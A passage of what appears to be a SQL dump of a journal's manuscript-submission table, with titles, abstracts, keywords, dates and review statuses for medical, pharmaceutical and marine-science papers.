oral moisturizers to immune-modulating medications. Emerging research into targeted therapies and potential connections between Sjögren\'s syndrome and other autoimmune disorders offers promising avenues for future treatments. This article underscores the importance of a multidisciplinary approach to enhance diagnosis, management, and quality of life for individuals navigating the intricate landscape of Sjögren\'s syndrome.','Sjögren\'s syndrome, Autoimmune disorder, Exocrine glands, Dry eyes, Dry mouth',3649,NULL,'2023-08-28',NULL,'Submitted',12,NULL,'2023-11-13',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14041,14108,996,0,'ipar-23-14041','Understanding arthritis with rheumatism: side effects, causes, and treatment',NULL,5,0,'','Rheumatoid joint inflammation (RA) is an ongoing immune system sickness portrayed by joint irritation, torment, and solidness. It has a negative impact on the quality of life and daily activities of millions of people worldwide. While the specific reason for RA stays obscure, a mix of hereditary, natural, and hormonal elements add to its turn of events. Early conclusion and proper treatment are vital for dealing with the condition really. The therapy approach for RA includes medicine, exercise based recuperation, way of life adjustments, and continuous clinical administration. While there is no known fix, headways in exploration and treatment choices have essentially further developed results. The ongoing research gives us hope that therapies in the future will be more specific and effective. By grasping the side effects, causes, and accessible medicines for RA, people and medical care experts can cooperate to work on the administration of this complex immune system sickness.','Rheumatoid arthritis; Auto immune disease; Chronic; Joints; Pain',3649,NULL,'2023-08-28',NULL,'Submitted',12,NULL,'2023-08-30',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14042,14109,86,0,'ipaom-23-14042','Revolutionizing COVID-19 diagnosis: unveiling CRISPR\'s superiority over PCR - A Systematic Review',NULL,15,2,'','Background - The Covid-19 outbreak made the world aware of its disregard for the\r\nmedical community. This pandemic was followed by a number of ground-breaking\r\ndiscoveries that have improved our ability to combat future pandemics. This is where the\r\nprofile of international diagnostic and healthcare systems will change thanks to the genome\r\nediting technique CRISPR, short for \"clustered regularly interspaced short palindromic\r\nrepeats\". It is now impossible to use a diagnostic tool with total dependability across the\r\nglobe. While PCR (short for \"Polymerase Chain Reaction\") was able to partially address the\r\nneed, the brilliant realisation of successfully altering the gene editing capabilities, for a\r\ndiagnostic purpose, will overcome the several obstacles PCR was constrained by. In order to\r\ndiagnose COVID-19, this study compares the properties of CRISPR and PCR.\r\nMethods - The necessary information to undertake a comparative analysis of both tools\r\nacross multiple group sessions was acquired through a qualitative assessment of several\r\nresearch papers from diverse origins.\r\nResult - CRISPR, a recently discovered genome editing tool, holds significant potential as\r\na diagnostic instrument to streamline the management of various pandemics, including\r\nCOVID-19. In contrast, PCR, the current diagnostic method for COVID-19, exhibits several\r\nshortcomings such as extended diagnostic duration, elevated expenses, reduced sensitivity,\r\ndiminished specificity, and limited geographical accessibility—issues that CRISPR has\r\nmanaged to overcome. The handling of the COVID-19 crisis has underscored the substantial\r\ndeficiency in diagnostic tool capabilities, a void that CRISPR could have filled, potentially\r\nenabling more effective containment of the pandemic on a global scale. Moreover, CRISPR\'s\r\nproficiency in not requiring specialised expertise or complex equipment further widens the\r\ngap between it and PCR.\r\nConclusion - This study confirms that CRISPR technology can handle the COVID-19\r\npandemic better than PCR because it can circumvent the problems that precluded PCR from\r\nperforming to its full potential. These results demonstrate that CRISPR will give the medical\r\n1\r\ncommunity a chance to improve its capacity to respond to pandemics in the future, breaking\r\ndown numerous barriers in both the general medical and future research domains. It is\r\nchallenging to fully access the possibilities of CRISPR because it was only recently\r\ndiscovered\r\n1\r\n, leaving many concerns unsolved. As a result, additional research efforts will be\r\nneeded to address these questions.','CRISPR, COVID-19, SARS-CoV-2, diagnosis',3386,NULL,'2023-08-29',NULL,'Submitted',2,NULL,'2023-12-06',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(14043,14110,91,0,'ijddr-23-14043','Design and development of the liquisolid compact of gingerol loaded lozenges',NULL,14,2,'','          The aim of the present work is to Design and development of the liquisolid compact of  gingerol loaded lozenges.  The objective of this study was to increase the solubility of poorly soluble drug gingerol.  The formulation characterized for drug-excipients interaction using FTIR, DSC, XRD, Drug content.  The drug content was also above 97.82% for the optimized formulation. The development lozenges formulation, were optimized based upon the evaluation parameters such as Weight variation, Hardness, Friability, and Drug content. From the results of above evaluation studies, Formulation F4 was optimized. In-vitro drug release of formulation F4 had exhibit release profile of 90.08% and it had followed Higuchi model. The stability studies of the optimized formulation LF4 was also found to be satisfactory. So, this technique was to improve the aqueous solubility and bioavailability of the active ingredient.','liquisolid compact, gingerol, lozenges, motion sickness.',5455,NULL,'2023-08-30',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14044,14111,91,0,'ijddr-23-14044','Formulation and evaluation of oral thin film containing Cilnidipine using different polymers for the treatment of hypertension',NULL,14,2,'','Cilnidipine is a dihydropyridine calcium antagonist. Cilnidipine has been used to treat hypertension and hypertensive-associated vascular disorders. Cilnidipine is BCS Class II and has very low solubility. It has medication compliance due to very low aqueous solubility and low dissolution rate and hence suffer from oral bioavailability problems. In order to increase the solubility, cilnidipine solid dispersions were formulated using beta cyclodextrin of various concentration by kneading method. Beta cyclodextrin offers excellent possibilities to develop stable amorphous solid dispersion. Furthermore, the incorporated cilinidipine solid dispersion gave higher dissolution compared to the pure cilnidipine drug. In-vitro drug release studies of SD2 formulation exhibited a cumulative release of 96% in 60min. FT-IR spectrum revealed that there is no chemical interaction occurred between the drug, polymers and excipients used in the formulation. The dissolution rate and solubility of cilnidipine solid dispersions were improved significantly using beta cyclodextrin.\r\nThe purpose of developing oral thin film is to improve bioavailability along with the convenience of administration i.e. without the problem of swallowing and using water. The rate of dissolution can be increased by incorporating cilnidipine solid dispersion in a oral thin film. Oral thin film containing cilnidipine solid dispersion were prepared by solvent casting method using HPMC E50 LV, sodium alginate, PVA, xanthan gum as polymers, PEG 400 as plasticizer, citric acid as saliva stimulating agent, and aspartame as sweetening agent. The formulated films were evaluated for their physiochemical parameters like weight variation, thickness, surface pH, folding endurance, drug content, moisture loss, in-vitro disintegration time and in-vivo disintegration studies. Formulation F2 showed 96.15% drug release from the film within 25minutes.F2 formulation was chosen as optimized formulation.\r\n','Fast dissolving film; Patient  compliance; Oral formulation; Solid dispersion',1325,NULL,'2023-08-30',NULL,'Submitted',2,NULL,'2024-05-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14045,13878,639,0,'ipfs-23-14045','Modifications to bacterial biological communities relevant with  grown shellfish','',2,3,'','Crustaceans (Crassostrea gigas) are farmed on a large scale in China\'s highly economical marine aquaculture industry. However, in recent years, there have been frequent mass deaths of farmed oysters due to disease and environmental influences (such as high temperatures). To analyze potential associations between microbes and oyster farming mortality, we used high-throughput sequencing to compare the dynamics of bacterial and protist communities in oysters at different growth stages. As a result, it was found that the microbial communities of cultured oysters changed significantly and differed greatly from those of natural oysters and environmental microbes. The number of biomarker taxa between farmed oysters and their environment gradually decreased as the oysters grew larger. During the cultured oyster mass extinction, the abundance of ecologically functional genes in the microbial community changed and the inter-microbial correlations disappeared. These results contribute to our understanding of the microbial community dynamics of cultured oysters at different growth stages and characterize the interactions between microorganisms during mass mortality in cultured oysters. Our research helps promote healthy oyster farming.','pacific oyster; bacteria; protists; mass death',1776,'','2023-05-06',NULL,'Submitted',12,0,'2023-12-07','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14046,13690,639,0,'ipfs-23-14046','Applications of probiotics in freshwater murrel fishes','',14,3,'','The Probiotic products were viewed as an alternative to the use of antibiotics in the freshwater murrel fish farming. Probiotic micro organisms like bacteria, yeast, and fungi offering different benefits to fish including growth promotion, inhibition of pathogen colonization and improvement of nutrient digestion, poor water quality and stress tolerance agents, as well as enhancement of reproduction. For these reasons, this review aims to identify the main trends in probiotics in freshwater murrel fishes. The strategies to incorporate the probiotic strains in the fish feed or pellets to allow optimal viability of the strains as they reach the fish gastrointestinal tract (GIT) are crucial in probiotic research and commercial applications for freshwater murrel fishes.','Probiotic, Yeast, GIT',1776,'','2023-06-14',NULL,'Submitted',12,0,'2023-12-11','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14047,14113,45,0,'iphsj-23-14047','HEALTH BENEFITS OF CRANBERRIES: AN IN-DEPTH OVERVIEW',NULL,15,0,'','Cranberries (Vaccinium macrocarpon), small red berries with a distinctive tart flavor, have captivated human attention for centuries due to their potential health benefits and culinary versatility. This abstract provides a concise overview of the comprehensive exploration of cranberries, including their nutritional composition, bioactive compounds, health-promoting properties, potential therapeutic applications, and culinary uses.\r\nCranberries boast a rich nutritional profile, containing essential vitamins, minerals, dietary fiber, and an array of bioactive compounds such as antioxidants, anthocyanins, and proanthocyanidins. These compounds contribute to the antioxidant and anti-inflammatory effects of cranberries, potentially reducing the risk of chronic diseases and supporting overall well-being.\r\nOne of the standout qualities of cranberries is their impact on urinary tract health. The presence of proanthocyanidins inhibits bacterial adhesion to urinary tract walls, offering protection against urinary tract infections. Additionally, cranberries may have positive effects on cardiovascular health, diabetes management, oral health, and more. While research on these potential therapeutic applications is ongoing, cranberries\' diverse benefits have piqued scientific interest.\r\nCulinary enthusiasts have harnessed the unique flavor of cranberries in an array of dishes. From classic cranberry sauces to innovative desserts, these berries infuse dishes with color, taste, and nutritional value. As our understanding of cranberries deepens, their role as a functional food that bridges the gap between health and taste becomes more evident.\r\nIn conclusion, cranberries hold a special place in both the realm of nutrition and culinary artistry. Their potential to promote health, prevent ailments, and elevate gastronomic experiences makes them a jewel in nature\'s bounty. Through this comprehensive exploration, we uncover the myriad facets of cranberries, celebrating their role as a source of both wellness and flavor.\r\n','Cranberries, Vaccinium macrocarpon, bioactive compounds, health benefits, antioxidants, urinary tract health, cardiovascular health, culinary uses, potential therapeutic applications, nutrition, functional food, proanthocyanidins, anthocyanins, flavonoids, tartness, culinary versatility.',685,NULL,'2023-08-31',NULL,'Submitted',2,NULL,'2023-09-27',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14049,13878,639,0,'ipfs-23-14049','The environmentally friendly approach for measuring the  geographical capability of an ocean reef','',25,3,'','Due to the islands\' geographic location and unique ecosystems, proper development and protection of the islands is important to promote their sustainable development. Taking the  Islands as an example, a suitability evaluation index system for marine ecological space, marine agricultural production area and marine construction area was created in this study according to the principle of land-sea coordination. GIS spatial analysis method and hierarchical analysis method (AHP) were used to assess the spatial adequacy of sea areas around islands, providing useful references for land-sea integration and sustainable island development. According to the survey results, the suitable area of ecological space in  Islands is about 64.3%, the construction space is about 2.1%, and the agricultural production space is about 2.1%.','spatial suitability evaluation; marine spatial planning; sustainable development',1771,'','2023-06-14',NULL,'Submitted',12,0,'2023-12-07','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14050,13935,639,0,'ipfs-23-14050','Marine ecology is harmed by polymer breakdown in biological  systems and interactions with other contaminants','',25,3,'','The production and disposal of plastics has become a major concern for the sustainability of our planet. Over the past 75 years, approximately 80% of plastic waste has been sent to landfills or released into the environment. Plastic waste released into the environment is broken down into smaller particles through fragmentation, weathering and other decomposition processes, producing microplastics (plastic particles less than 5 mm in size). Although the focus of research on microplastic pollution has been on marine and aquatic ecosystems, there is growing evidence that terrestrial ecosystems are also at risk. Microplastic pollution has been reported in a variety of terrestrial environments from a variety of sources, including plastic mulch, pharmaceuticals and cosmetics, tire debris (tire debris), the textile industry (microfibers), sewage sludge, and plastic landfills. Recent studies have shown that Marine s are a major sink for pollutants released into terrestrial ecosystems and are often contaminated with a mixture of organic and inorganic pollutants. This has a gradual negative impact on Marine  health and fertility as it affects Marine  pH, porosity, water holding capacity and enzymatic activity of Marine  microorganisms. Microplastics coexist by adsorbing contaminants on their surfaces through various intermolecular forces such as electrostatic forces, hydrophobic forces, non-covalent forces, distribution effects, van der Waals forces and microporous packing mechanisms. Can interact with environmental pollutants. This delays the decomposition process of existing pollutants and affects various ecological activities in Marine s and ecosystems. The detrimental effects of microplastics and their interactions with other pollutants in terrestrial ecosystems. The review also looks at the impact of microplastics on the sustainability of the earth.','Marine  sustainability; terrestrial ecosystems; co-contamination; heavy metals; pesticides',1777,'','2023-06-14',NULL,'Submitted',12,0,'2023-12-11','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14051,13934,639,0,'ipfs-23-14051','Geographical variations of wanderer algae indicate the potential  effects on biological and organic matter','',2,3,'','It has long been known that algae are dynamic within the coastal water column with multiple trophic modes. However, little is known about their interactions with abiotic and biotic components, their contribution to biological carbon pumps (BCPs), and remineralization of organic matter in the ocean water column. In this study, we investigated how algae change spatially and how that change is associated with changes in bacteria within the algal water column. Algae are about three orders of magnitude rarer than bacteria, and the main factors affecting their distribution were depth, temperature, and distance from river entry points. The decrease in algal abundance with depth was not as pronounced as that of bacteria. Especially in the twilight zone (r = 0.62) and the dark zone (r = 0.70). However, mutual exclusion was found between specific algae and bacteria in co-occurrence networks. The majority of algae within the water column are saprotrophs, suggesting that these algae in general are involved in the decomposition of organic matter, especially at dusk and no light. Similar to bacteria, algae are predicted to be involved in carbohydrate, protein and lipid metabolism, suggesting that they are involved in organic carbon turnover and biogeochemical cycling of carbon, nitrogen and sulfur.','wanderer; abundance; diversity; trophic modes; metabolic function',1776,'','2023-06-14',NULL,'Submitted',12,0,'2023-12-07','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14052,13743,639,0,'ipfs-23-14052','Concerning Fisheries Ecosystem Antimicrobial Assessment Gastrointestinal Aquaculture-related bacterium','',2,3,'','Aquaculture lease operations for Atlantic Fish (Salmo salmar L.) are frequently interacted with by fur seals (Arctocephalus pusillus doriferus), who opportunistically eat fish. In order to identify potential markers of microbial sharing and to ascertain the potential consequences of interactions on the microbiome composition of wild seals, the microbial communities of seals and aquaculture fish were analysed. High-throughput sequencing of the V1-V3 region of the 16S rRNA genes from the gastrointestinal microbial communities of 221 fur seals was done. These seals included controls from Bass Strait breeding colonies, which included 56 adult scats and 50 pup swabs, as well as 41 males caught at farms, 50 adult scats from haul-outs close to farms, 24 necropsied seals, and 41 males. For the analysis, QIIME2 and R Studio were utilised Fur seals (Arctocephalus pusillus doriferus), which opportunistically feed fish, frequently interact with aquaculture lease operations for Atlantic Fish (Salmo salmar L.). The microbial communities of seals and farmed fish were examined in order to find potential indicators of microbial sharing and to determine the potential effects of interactions on the microbiome composition of wild seals. The V1–V3 region of the 16S rRNA genes from the gastrointestinal microbial communities of 221 fur seals was sequenced using high-throughput methods. These seals included controls from breeding colonies in Bass Strait, which included 56 adult scavengers and 50 pup swabs, as well as 41 males caught at farms, 50 adult scavengers from haul-outs near farms, 24 necropsied seals, and 41 males. QIIME2 and R were used for the analysis.','microbiome; aquaculture; One Health; microbial source tracking; Atlantic Fish',1776,'','2023-06-17',NULL,'Submitted',15,0,'2023-09-04','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14053,13954,45,0,'iphsj-23-14053','Stress Related Necrotizing Ulcerative Gingivitis: A Case Report','',2,3,'','Necrotizing ulcerative gingivitis (NUG) is a classic form of necrotizing periodontal diseases. It has a rapid and aggressive onset with a multifactorial complex etiology such as stress, nutritional deficiencies, and immune system dysfunctions. Clinically, NUG is characterized by inflamed interdental papillae, gingival necrosis, gingival pain, bleeding, and halitosis. \r\nThe treatment of NUG included an initial phase that should be provided immediately to stop disease progression and to control patient’s feeling of discomfort and pain. The second phase of the treatment of the preexisting condition, then, the surgical correction of the disease sequelae .After active therapy was completed; a periodontal maintenance regimen was established. \r\nThe aim of this case report is to describe the diagnosis approach and treatment of NUG in a male patient with no systemic disease and probable mechanism of pathogenesis of predisposing factors involved. ','Diagnosis, necrotizing periodontal diseases, necrotizing ulcerative gingivitis, treatment, stress ',692,'','2023-06-21',NULL,'Submitted',12,0,'2023-10-11','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14055,13980,277,0,'ipadm-23-14055','A Systematic Review of Sodium-Glucose Transporter Type 2 Inhibitors in Type 2 Diabetes: Efficacy, Safety, and Comparative Effectiveness','',19,3,'','  ','',2805,'','2023-06-29',NULL,'Submitted',15,0,'2023-09-06','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14056,14022,45,0,'iphsj-23-14056','Prevalence and Severity of Digital Eye Strain (DES) during the COVID-19 Pandemic Period amongst the University-Going Students of Jorhat, Assam: A Cross-Sectional Study','',14,3,'','Aim: The purpose was to determine the prevalence, the symptom frequency and severity, and the associated risk factors of Digital Eye Strain (DES) among the university-going students attending and have attended online classes during the COVID-19 pandemic.\r\nMethod: A total of 300 subjects from different university within the Jorhat region for a period of 4 months, from January to April, 2022 were enrolled in this cross sectional study. Questions about the habits of digital device usage, its severity and frequency were asked in the questionnaire. Data was collected and tabulated in MS Excel, and further analyzed using SPSS software version 26.00. Associated risk factors of DES were analyzed by univariate and multivariate logistic regression with age, gender, device used, viewing distance, and duration of screen use. A P value of ≤0.005 was considered statistically significant.\r\nResult: Three hundred students responded to the questionnaire. The mean age of the student was found to be 22.10±2.0. The mean duration of digital devices used during the COVID-19 pandemic was found to be 3.22±0.98h which is more than the pre-COVID-19 pandemic (2.80±1.07, P<0.001). Prevalence of DES in the cohort was 92% (n=276). Of these 27% were mild, 37% moderate, and 27.3% of severe grade. Multivariate analysis revealed that age 21 years (P=0.05), female gender (P=0.0005), smartphone use (P=0.004), and duration of online class>4hr (P=0.0008) as independent risk factors for DES in the student.\r\nConclusion: There is an increased prevalence of DES among the student in the COVID pandemic compared to before the COVID pandemic. Parents, teachers, and eye care practitioners should be considerate about the usage of digital device to avoid DES and Optometrist should provide guidelines for the proper usage of the gadgets for abolishing the symptoms and sufferings due to DES.\r\n','Keywords: Digital eye strain, students, online classes, and COVID-19 pandemic',643,'','2023-07-17',NULL,'Submitted',12,0,'2023-10-11','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14058,14115,45,0,'iphsj-23-14058','Air pollution and perceived health threats on the students\\\' in off-campus accommodation in tertiary institutions in Edo State Nigeria  ',NULL,14,0,'','This study specifically examined the causes of air and the perceived health threat of air pollution on the students’ health in off-campus residential accommodation. Descriptive survey research design was employed for this study. The population for the study was 200 students each from the federal and state institutions making a total of 400 students’ selected using accidental sampling technique. A self-organized questionnaire was used to collect the data for this study. The questionnaire was validated by experts and the reliability of the instrument was subjected to the use of test re-retest reliability procedures at correlation coefficient of 0.87 which was deemed high. The administration of the questionnaire was successful with the help of 3 trained research assistants. Findings showed that majority of the respondents agreed that many variables were the causes of air pollution and that there were perceived health threat on the students’ health as a result of air pollution. And that air pollution would significantly influence the students’ health in off-campus accommodation. It was recommended that Government should put in place policies that will prevent there should be no building of factories and industries near residential areas to prevent hazards. ','Air Pollution, Perceived Health Threat, Students, Off-Campus Accommodation, Tertiary Institutions ',2068,NULL,'2023-09-04',NULL,'Submitted',2,NULL,'2023-09-28',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14059,13084,975,0,'ipjbs-23-14059','Preeclampsia – A review of diagnosis and management methods',NULL,15,0,'','This study shows proper analysis on preeclampsia as a disease and the factors surrounding its occurrence,detection,and management in specific details.Preeclampsia is a pregnancy specific disease, characterised by elevated blood pressure and proteinuria with the clinical manifestation known to likely occur, during the 20th week of gestation and relapse post delivery. Only when a placenta is present does preeclampsia occur; possibly even without a foetus. This pregnancy-related ailment, which has become of global concern, is stated to be on the rise worldwide, with developing countries proving to be more susceptible to the disease. The incidence of preeclampsia globally ranges between 2% to 10% of pregnancies, studies have shown that 1.8%-16.17% of preeclampsia is recorded, basically in the Global South, while the Western countries record just 0.4% according to the World Health Organisation (WHO). Preeclampsia is caused by maternal and placental vascular disorder, and is resolved after delivery, over a varying amount of time. Major risk factors discussed  include chronic hypertension, kidney dysfunction, obesity, and multiple gestation. These factors have been proven to make a pregnant woman susceptible to preeclampsia. The use of biomarkers and molecular markers such as Pregnancy-associated plasma protein-A (PAPP-A), MicroRNAs, Beta-2 Microglobulin (B2M), Placental growth factor (PIGF) and Aldosterone have been understudy for their potential to detect PE at the onset. The success of this study would help in the preventive and curative approach of managing preeclampsia and decrease the rate of foetal mortality during treatment of PE.','Preeclampsia. Proteinuria, hypertension, gestation, HELLP syndrome',4089,NULL,'2023-09-05',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'0','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14061,14117,45,0,'iphsj-23-14061','Assessment of physical activity and dietary practices of institutionalized  adolescent students staying in hostel',NULL,14,0,'','The study to assess the nutritional status of adolescent students was conducted at the Institutionalized hostels of Chandra Shekhar Azad University, Kanpur, Uttar Pradesh, India. In this study 70 members of adolescent Institutionalized hostlers students were selected and they were assessed for the nutritional status. The nutritional status was assessed with the help of their dietary intake using 24 hours recall method, anthropometry measurement, dietary assessment, along with nutritional knowledge (set of 70 questions to assess nutritional knowledge relating to balanced nutrition and health status). Students\' general health status can be impacted by their dietary habits and lifestyle choices. According to the report which details the nutritional status of the hostler girls institutionalized as adolescents, 51.44% of the girls had a normal BMI, 18.57% were underweight, 17.14% were overweight, and 12.85% were obese and adolescent girls\' food intake is 103.6% appropriate nutrition practices. This study identifies the pattern of food consumption among adolescents. Girls are better than in the proportion of consuming nutrients like Protein, Carbohydrates, Minerals, Vitamins, and Fats, dietary supplements in breakfast, and lunch habits. Displays data about participants daily routines. Participants physical activity was broken down into yoga, running/walking, dancing, gym, swimming, and any other activities. Girls performed yoga at a rate of 30%, while boys performed running/walking at a rate of 24.28%, while girls danced at a rate of 12.85%, and men participated in the gym at a rate of 8.57%. Adolescent girls did not participate in any of the other 8.57 physical activities','Nutrition status; Adolescent; BMI; Anthropometry; Obese; Dietary assessment; knowledge; Physical activity',4076,NULL,'2023-09-07',NULL,'Submitted',2,NULL,'2023-09-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14062,13679,91,0,'ijddr-23-14062','Assessment of Complete Blood Count in the Breast Cancer Patients of Arsenic Exposed Population of Bihar',NULL,14,0,'','Arsenic contamination of groundwater has recently been recognized as a major threat to human health. They developed cancer after being exposed to arsenic for a long time. Among women, breast cancer is a rapidly expanding health problem in the modern era. Arsenic exposure leads to hormonal imbalance and breast cancer in the exposed population. \r\nBlood samples from n=203 breast cancer study participants and n=100 control female individuals were taken for analysis of complete blood count in this present research. \r\nThe study reveals that there is significant elevation in the WBC counts and decrease in the RBC counts, platelets counts and haemoglobin percentage in the breast cancer patients. Out of n=203, female breast cancer patients, n=174 subject’s blood had significant changes in the haematological parameters in comparison to the control patient’s blood samples. \r\nWomen who have been exposed to arsenic for an extended period of time in the state of Bihar have hormonal imbalances in their bodies as a result of the poisoning. In the present study, there was significant decrease (p<0.05) in the RBC counts in 92% of breast cancer patients in comparison to the control patients. Moreover, RBC indices were significantly fluctuated (p<0.05) in PCV%, MCV, MCH and MCHC levels in breast cancer patients in comparison to the control patients. The haemoglobin percentage in 94% in breast cancer patients had significant less levels (p<0.05) in comparison to the control patients. Finally, there was significant increase (p<0.05) in the WBC counts in 85% of the breast cancer patients in comparison to the control patients. This denotes that there haemotological parameters are highly affected. Moreover, these breast cancer patients were from the arsenic hotspot areas, where in the recent times the breast cancer disease burden has increased many folds. Hence, there is need to make strategies to control the disease burden in these arsenic hotspot regions.','Breast Cancer; Complete Blood Counts; Gangetic plains.',3754,NULL,'2023-09-08',NULL,'Submitted',15,NULL,'2023-10-23',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14063,14120,86,0,NULL,'Professor',NULL,14,0,'','Introduction: This research study provides valuable insights into the distribution of malignancies among different population groups, age groups, genders, and geographical regions. Aim: This study aims to identify differences in cancer cases between adults and pediatric populations, analyze behavior distribution by gender and age group, and assess the prevalence of specific cancer types across different demographics. Methods: The study analyzed data from Shaukat Khanum Memorial Cancer Hospital and Research Center (SKMCH&RC) in 2022, examining cancer cases in adults and pediatric patients, behavior distribution, and analytical proportions. It assessed malignancies by gender and age group, identified top 10 prevalent cancers. Results: The study found that among adult patients, 87.93% had malignant cancers, while in pediatric patients, it was 11.99%. Benign and uncertain cases were prevalent in adults (97.78%), with pediatric cases at 2.21%. Punjab and Khyber Pakhtunkhwa had high cancer rates compared to other provinces. The top 10 cancers included breast, colon, rectum & anus, Hodgkin lymphoma, lip & oral cavity, esophagus, prostate, non-Hodgkin\'s lymphoma, leukemia, kidney, and stomach cancer. Most cases were local or regional (23% and 44.3%, respectively), while distant cases were 20.5%, and 11.2% were unknown. Conclusion: This research study provides insights into cancer distribution, guiding prevention and treatment strategies. It highlights the importance of targeted prevention, early detection, and accurate staging. Valuable for policymakers, health professionals, and researchers, advancing cancer control and patient outcomes. ','',5013,NULL,'2023-09-10',NULL,'Submitted',4,NULL,'2023-10-09',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(14064,14121,73,0,'ipjnn-23-14064','Advancements in brain computer interfaces for neurorehabilitation',NULL,5,0,'','  ','   ',59084,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14065,14122,73,0,'ipjnn-23-14065','Exploring the Molecular Basis of Alzheimer\'s Disease: Novel Pathways and Targets',NULL,5,0,'','  ','  ',330,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14066,14123,73,0,'ipjnn-23-14066','Functional imaging of the human connectome: Unraveling the brain\'s complex networks',NULL,5,0,'',' ','  ',333,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14067,14124,73,0,'ipjnn-23-14067','Neural circuitry of social behavior: Implications for autism spectrum disorders',NULL,5,0,'','  ','  ',326,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14068,14125,73,0,'ipjnn-23-14068','Neuroinflammation and cognitive decline: Mechanisms and therapeutic approaches',NULL,5,0,'','  ','  ',59085,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14069,14126,73,0,'ipjnn-23-14069','Neuroplasticity in aging: Harnessing brain resilience for cognitive enhancement',NULL,5,0,'','   ','  ',5451,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14070,14127,73,0,'ipjnn-23-14070','Precision medicine in neurology: From genomics to personalized therapies',NULL,5,0,'','  ','  ',326,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14071,14128,73,0,'ipjnn-23-14071','The gut microbiome\'s influence on neurological health and disease',NULL,5,0,'','    ','  ',326,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14072,14129,73,0,'ipjnn-23-14072','The Role of Gut-Brain Axis in Neurological Disorders: Emerging Insights',NULL,5,0,'','  ','  ',334,NULL,'2023-09-12',NULL,'Submitted',2,NULL,'2023-09-14',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14073,14130,45,0,'iphsj-23-14073','Biases Towards Medication Assisted Treatment Among Counseling Students',NULL,14,0,'','In the United States drug overdose and opioid-involved deaths continue to rise with the majority resulting from opioid overdoses. Medication assisted therapies (MAT) modalities have proven to be effective in helping individuals recover when prescribed and monitored properly and have been shown to be safe and cost-effective, while also reducing the risk of overdose (Volkow et al., 2014). Although research evidence shows MAT to be highly effective in treating opioid addiction, this method of therapy remains underutilized. This contradiction suggests bias amongst professionals who are providing treatment services to individuals who identify as having an opioid addiction. Therefore, research regarding bias of MAT within professional communities is warranted and is the purpose of this study','bias, medicated assisted treatment, opioid use disorder',4076,NULL,'2023-09-14',NULL,'Submitted',4,NULL,'2023-10-19',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14074,14131,971,0,'ipaclr-23-14074','The Role of MRD Assessment in Personalized Treatment Strategies for Leukemia and Lymphoma',NULL,13,0,'','','',5380,NULL,'2023-09-15',NULL,'Submitted',2,NULL,'2023-10-06',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14076,14133,971,0,'ipaclr-23-14076','Evaluating the Effectiveness of Multidisciplinary Care Teams in Clinical Settings',NULL,17,0,'','','',59075,NULL,'2023-09-15',NULL,'Submitted',2,NULL,'2023-10-06',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14077,14134,971,0,'ipaclr-23-14077','Lymphocyte Immunophenotyping in HIV/AIDS Patients: Clinical Correlations and Prognostic Significance',NULL,12,0,'','','',5381,NULL,'2023-09-15',NULL,'Submitted',2,NULL,'2023-10-06',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14079,14136,971,0,'ipaclr-23-14079','CD Markers as Biomarkers: Diagnostic and Prognostic Significance in Immune-Related Disorders',NULL,11,0,'','','',59074,NULL,'2023-09-15',NULL,'Submitted',2,NULL,'2023-10-06',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14080,14137,971,0,'ipaclr-23-14080','The Impact of Superoxide Dismutase Polymorphisms on Gestational Diabetes Susceptibility',NULL,13,0,'','','',59074,NULL,'2023-09-15',NULL,'Submitted',2,NULL,'2023-10-06',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14081,14138,975,0,'ipjbs-23-14081','Bayesian analysis of mammalian animals',NULL,14,0,'','Growth curve modelling which is a popular methodological tool due to its flexibility. The 